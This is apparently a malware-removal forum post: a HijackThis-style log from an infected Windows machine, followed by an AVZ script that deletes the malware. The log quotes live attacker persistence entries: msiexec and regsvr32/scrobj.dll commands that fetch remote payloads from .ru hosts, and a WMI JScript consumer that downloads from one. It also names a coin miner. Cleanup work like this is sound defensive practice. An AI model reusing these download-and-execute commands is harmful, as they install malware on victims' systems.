Code:
F2 - HKCU\..\WinLogon: [Shell] = explorer.exe, C:\Users\Администратор\AppData\Roaming\dhelper.exe
F2 - HKU\.DEFAULT\..\WinLogon: [Shell] = explorer.exe, C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe
O4 - HKLM\..\Run: [start1] = C:\Windows\system32\msiexec.exe /i http://js.5b6b7b.ru:280/helloworld.msi /q
O4 - HKLM\..\Run: [start] = C:\Windows\system32\regsvr32.exe /u /s /i:http://js.5b6b7b.ru:280/v.sct scrobj.dll
O4 - MSConfig\startupfolder: C:^Users^Администратор^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^explorer.lnk [backup] => C:\Users\Администратор\AppData\Roaming\TempoR\DOC001.exe (2019/03/24)
O4 - User Startup: C:\Users\Администратор\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk -> C:\Users\Администратор\AppData\Roaming\TempoR\DOC001.exe
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 135 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 137 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 138 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 139 TCP) (mirrored) - Action: Block
O7 - IPSec: Name: win (2018/02/02) - {c7419a5a-181a-4fcd-a459-f29ae47ba99e} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O22 - Task: Microsoft LocalManager[Windows Server 2008 R2 Enterprise] - C:\ProgramData\{88748799-8874-8874-887487997161}\lsm.exe
O23 - Service S2: Microsoft Security Center (2.0) Service - (mssecsvc2.0) - C:\WINDOWS\mssecsvc.exe -m security (file missing)
O23 - Service S2: Microsoft Security Center (2.1) Service - (mssecsvc2.1) - C:\WINDOWS\mssecsvr.exe -m security (file missing)
O25 - WMI Event: fuckyoumm2_consumer - fuckyoumm2_filter - var toff=3000;var url1 = "http://wmi.my0115.ru:8888/kill.html";http = new ActiveXObject("Msxml2.ServerXMLHTTP");fso = new ActiveXObject("Scripting.FilesystemObject");wsh = new ActiveXObject("WScript.Shell");http.open("GET", url1, false);http.send();str = http.responseText;arr = str.split("\r\n");for(1724 bytes)
Code:
begin
TerminateProcessByName('c:\users\836d~1\appdata\local\temp\2\buff2.exe');
TerminateProcessByName('c:\users\Администратор\appdata\roaming\dhelper.exe');
TerminateProcessByName('c:\users\Администратор\appdata\roaming\tempor\doc001.exe');
TerminateProcessByName('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe');
QuarantineFile('C:\ProgramData\{88748799-8874-8874-887487997161}\lsm.exe', '');
QuarantineFile('c:\users\836d~1\appdata\local\temp\2\buff2.exe', '');
QuarantineFile('C:\Users\836D~1\AppData\Roaming\TempoR\DOC001.exe', '');
QuarantineFile('c:\users\Администратор\appdata\roaming\dhelper.exe', '');
QuarantineFile('c:\users\Администратор\appdata\roaming\tempor\doc001.exe', '');
QuarantineFile('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe', '');
QuarantineFile('C:\WINDOWS\mssecsvc.exe', '');
QuarantineFile('C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe', '');
QuarantineFileF('c:\programdata\{88748799-8874-8874-887487997161}', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js*, *.tmp*', false, '', 0 , 0);
DeleteFile('C:\ProgramData\{88748799-8874-8874-887487997161}\lsm.exe', '64');
DeleteFile('c:\users\836d~1\appdata\local\temp\2\buff2.exe', '');
DeleteFile('c:\users\836d~1\appdata\local\temp\2\buff2.exe', '64');
DeleteFile('C:\Users\836D~1\AppData\Roaming\TempoR\DOC001.exe', '64');
DeleteFile('c:\users\Администратор\appdata\roaming\dhelper.exe', '');
DeleteFile('C:\Users\Администратор\AppData\Roaming\dhelper.exe', '32');
DeleteFile('C:\Users\Администратор\AppData\Roaming\dhelper.exe', '64');
DeleteFile('c:\users\Администратор\appdata\roaming\tempor\doc001.exe', '');
DeleteFile('C:\Users\Администратор\AppData\Roaming\TempoR\DOC001.exe', '64');
DeleteFile('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe', '');
DeleteFile('C:\Users\Администратор\AppData\Roaming\TempoR\NsCpuCNMiner64.exe', '64');
DeleteFile('C:\WINDOWS\mssecsvc.exe', '64');
DeleteFile('C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe', '32');
DeleteFile('C:\Windows\system32\config\systemprofile\AppData\Roaming\dhelper.exe', '64');
DeleteService('mssecsvc2.0');
DeleteFileMask('c:\programdata\{88748799-8874-8874-887487997161}', '*', true);
DeleteFileMask('c:\users\администратор\appdata\roaming\tempor', '*', true);
DeleteDirectory('c:\programdata\{88748799-8874-8874-887487997161}');
DeleteDirectory('c:\users\администратор\appdata\roaming\tempor');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^Users^Администратор^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^explorer.lnk', 'command', '64');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start', '64');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'Software\Microsoft\Windows\CurrentVersion\Run', 'start1', '64');
DeleteSchedulerTask('Microsoft LocalManager[Windows Server 2008 R2 Enterprise]');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteWizard('SCU', 3, 3, true);
end.
